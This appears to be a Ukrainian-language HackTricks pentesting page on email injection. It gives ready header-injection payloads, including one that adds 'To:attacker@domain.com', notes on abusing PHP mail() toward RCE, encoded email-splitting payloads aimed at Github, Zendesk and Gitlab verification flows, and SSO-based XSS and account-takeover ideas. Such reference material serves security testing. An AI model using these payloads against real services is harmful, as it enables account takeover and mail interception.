hacktricks/pentesting-web/email-injections.md

237 lines
18 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Email Injections
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections), щоб легко створювати та **автоматизувати робочі процеси**, які підтримуються **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}
## Впровадження в надісланому електронному листі
### Впровадження Cc та Bcc після аргументу відправника
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
Повідомлення буде надіслано на облікові записи отримувача та отримувача1.
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Повідомлення буде надіслано оригінальному отримувачу та обліковому запису зловмисника.
### Вставити аргумент Subject
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Фальшива тема буде додана до оригінальної теми і в деяких випадках замінить її. Це залежить від поведінки поштового сервісу.
### Змінити тіло повідомлення
Вставте два переводи рядка, а потім напишіть своє повідомлення, щоб змінити тіло повідомлення.
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### Експлуатація функції PHP mail()
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### Параметр 5 ($additional\_parameters)
Цей розділ буде базуватися на **тому, як зловживати цим параметром, припускаючи, що зловмисник контролює його**.
Цей параметр буде додано до командного рядка, який PHP буде використовувати для виклику бінарного файлу sendmail. Однак він буде очищений за допомогою функції `escapeshellcmd($additional_parameters)`.
Зловмисник може **впроваджувати додаткові параметри для sendmail** в цьому випадку.
#### Відмінності в реалізації /usr/sbin/sendmail
**sendmail** інтерфейс **надається програмним забезпеченням MTA для електронної пошти** (Sendmail, Postfix, Exim тощо), встановленим на системі. Хоча **базова функціональність** (така як параметри -t -i -f) залишається **такою ж** з причин сумісності, **інші функції та параметри** значно варіюються в залежності від встановленого MTA.
Ось кілька прикладів різних сторінок man команди/інтерфейсу sendmail:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
В залежності від **походження бінарного файлу sendmail** були виявлені різні опції для зловживання ними та **витоку файлів або навіть виконання довільних команд**. Перевірте, як це зробити в [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
## Впровадження в ім'я електронної пошти
{% hint style="danger" %}
Зверніть увагу, що якщо вам вдасться створити обліковий запис у сервісі з довільним доменним ім'ям (як-от Github, Gitlab, CloudFlare Zero trust...) і підтвердити його, отримавши електронний лист для підтвердження на вашу адресу електронної пошти, ви можете отримати доступ до чутливих місць компанії жертви.
{% endhint %}
### Ігноровані частини електронної пошти
Символи: **+, -** та **{}** у рідкісних випадках можуть використовуватися для тегування та ігноруються більшістю поштових серверів.
* Наприклад, john.doe+intigriti@example.com → john.doe@example.com
**Коментарі в дужках ()** на початку або в кінці також будуть ігноруватися.
* Наприклад, john.doe(intigriti)@example.com → john.doe@example.com
### Обхід білого списку
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### Цитати
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IP-адреси
Ви також можете використовувати IP-адреси як доменні імена в квадратних дужках:
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### Кодування електронної пошти
Як пояснено в [**цьому дослідженні**](https://portswigger.net/research/splitting-the-email-atom), імена електронної пошти також можуть містити закодовані символи:
* **PHP 256 переповнення**: Функція PHP `chr` буде продовжувати додавати 256 до символу, поки він не стане позитивним, а потім виконати операцію `%256`.
* `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
{% hint style="success" %}
Мета цього трюку полягає в тому, щоб закінчити з впровадженням, як-от `RCPT TO:<"collab@psres.net>collab"@example.com>`\
яке надішле електронний лист для підтвердження на іншу електронну адресу, ніж очікувалося (отже, щоб ввести іншу електронну адресу всередині імені електронної пошти та зламати синтаксис під час надсилання електронної пошти).
{% endhint %}
Різні кодування:
```bash
# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com
# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding
# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/
```
Payloads:
* Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
* Зверніть увагу на закодований `@` як =40, закодований `>` як `=3e` і `null` як `=00`&#x20;
* Він надішле електронний лист для підтвердження на `collab@psres.net`
* Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
* Та ж сама хитрість, але з додаванням звичайної лапки на початку та закодованої лапки `=22` перед закодованим `@`, а потім відкриттям і закриттям деяких лапок перед наступною електронною адресою, щоб виправити синтаксис, що використовується всередині Zendesk
* Він надішле електронний лист для підтвердження на `collab@psres.net`
* Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
* Зверніть увагу на використання підкреслення як пробілу для розділення адреси
* Він надішле електронний лист для підтвердження на `collab@psres.net`
* Punycode: Використовуючи Punycode, було можливим впровадити тег `<style` в Joomla і зловживати ним для викрадення токена CSRF через ексфільтрацію CSS.
#### Tooling
* Є **скрипт Burp Suite Turbo Intruder**, щоб протестувати такі комбінації для спроби атаки на формати електронної пошти. Скрипт вже має потенційно робочі комбінації.
* Також можливо використовувати [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) для створення атаки на розділення електронної пошти
### Other vulns
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## Third party SSO
### XSS
Деякі сервіси, такі як **github** або **salesforce**, дозволяють вам створювати **електронну адресу з XSS payloads на ній**. Якщо ви можете **використовувати цих постачальників для входу в інші сервіси** і ці сервіси **не очищають** електронну пошту належним чином, ви можете викликати **XSS**.
### Account-Takeover
Якщо **SSO сервіс** дозволяє вам **створити обліковий запис без перевірки наданої електронної адреси** (як **salesforce**) і потім ви можете використовувати цей обліковий запис для **входу в інший сервіс**, який **довіряє** salesforce, ви можете отримати доступ до будь-якого облікового запису.\
_Зверніть увагу, що salesforce вказує, чи була надана електронна адреса перевірена, але так само програма повинна враховувати цю інформацію._
## Reply-To
Ви можете надіслати електронний лист, використовуючи _**From: company.com**_ і _**Replay-To: attacker.com**_, і якщо будь-яка **автоматична відповідь** буде надіслана через те, що електронний лист був надісланий **з** **внутрішньої адреси**, **зловмисник** може отримати цю **відповідь**.
## Hard Bounce Rate
Деякі сервіси, такі як AWS, реалізують поріг, відомий як **Hard Bounce Rate**, зазвичай встановлений на 10%. Це критичний показник, особливо для сервісів доставки електронної пошти. Коли цей показник перевищується, сервіс, такий як електронна пошта AWS, може бути призупинений або заблокований.
**Hard bounce** відноситься до **електронної пошти**, яка була повернена відправнику, оскільки адреса отримувача є недійсною або неіснуючою. Це може статися з різних причин, таких як **електронна пошта**, надіслана на неіснуючу адресу, домен, який не є реальним, або відмова сервера отримувача приймати **електронні листи**.
У контексті AWS, якщо ви надсилаєте 1000 електронних листів і 100 з них призводять до hard bounces (через причини, такі як недійсні адреси або домени), це означатиме 10% hard bounce rate. Досягнення або перевищення цього показника може призвести до блокування або призупинення можливостей надсилання електронної пошти AWS SES (Simple Email Service).
Важливо підтримувати низький показник hard bounce rate, щоб забезпечити безперебійну службу електронної пошти та підтримувати репутацію відправника. Моніторинг і управління якістю електронних адрес у ваших списках розсилки можуть значно допомогти в досягненні цього.
Для отримання більш детальної інформації можна звернутися до офіційної документації AWS щодо обробки відмов і скарг [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
## References
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_content=email-injections) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}